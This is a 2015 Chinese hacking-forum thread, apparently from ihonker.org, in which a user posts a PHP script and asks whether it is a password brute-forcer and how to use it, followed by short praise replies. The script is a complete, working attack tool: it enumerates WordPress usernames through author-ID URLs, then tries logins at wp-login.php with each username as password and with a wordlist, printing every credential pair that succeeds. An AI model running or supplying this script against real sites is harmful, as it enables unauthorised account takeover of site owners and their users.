安子超 发表于 2015-9-30 22:41:19

这个是PHP的爆破口令?是吗?我没有学过php

请大牛看看 顺便教教怎么使用?{:soso_e104:}



<?php set_time_limit(0);$domain = $argv; //获取用户名for ($i=1; $i <= 10; $i++) { $url = $domain."/?author=".$i; $response = httprequest($url,0); if ($response == 404) { continue; } $pattern = "/author\/(.*)\/feed/"; preg_match($pattern, $response, $name); $namearray[] = $name;} echo "共获取用户".count($namearray)."名用户\n"; echo "正在破解用户名与密码相同的用户:\n"; $crackname = crackpassword($namearray,"same"); $passwords = file("pass.txt"); echo "正在破解弱口令用户:\n"; if ($crackname) { $namearray = array_diff($namearray,$crackname);} crackpassword($namearray,$passwords); function crackpassword($namearray,$passwords){ global $domain; $crackname = ""; foreach ($namearray as $name) { $url = $domain."/wp-login.php"; if ($passwords == "same") { $post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1"; $pos = strpos(httprequest($url,$post),'div id="login_error"'); if ($pos === false) { echo "$name $name"."\n"; $crackname[] = $name; } }else{ foreach ($passwords as $pass) { $post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1"; $pos = strpos(httprequest($url,$post),'div id="login_error"'); if ($pos === false) { echo "$name $pass"."\n"; } } } } return $crackname;} function httprequest($url,$post){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); if($post){ curl_setopt($ch, CURLOPT_POST, 1);//post提交方式 curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } $output = curl_exec($ch); $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch); if ($httpcode == 404) { return 404; }else{ return $output; }}?>

H.U.C—Prince 发表于 2015-10-1 20:57:46

支持中国红客联盟(ihonker.org)

a136 发表于 2015-10-2 18:07:54

学习学习技术,加油!

菜鸟小羽 发表于 2015-10-2 18:37:17

还是不错的哦,顶了

xiaoqqf4 发表于 2015-10-3 11:00:38

还是不错的哦,顶了

a136 发表于 2015-10-4 09:03:28

支持中国红客联盟(ihonker.org)

asion 发表于 2015-10-4 10:15:27

还是不错的哦,顶了

sladjfksld 发表于 2015-10-4 11:04:23

:(:(:(这代码是给人看的么。。。

H.U.C-麦麦 发表于 2015-10-4 16:39:27

支持中国红客联盟(ihonker.org)

a136 发表于 2015-10-4 21:20:12

页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: 这个是PHP的爆破口令?是吗?我没有学过php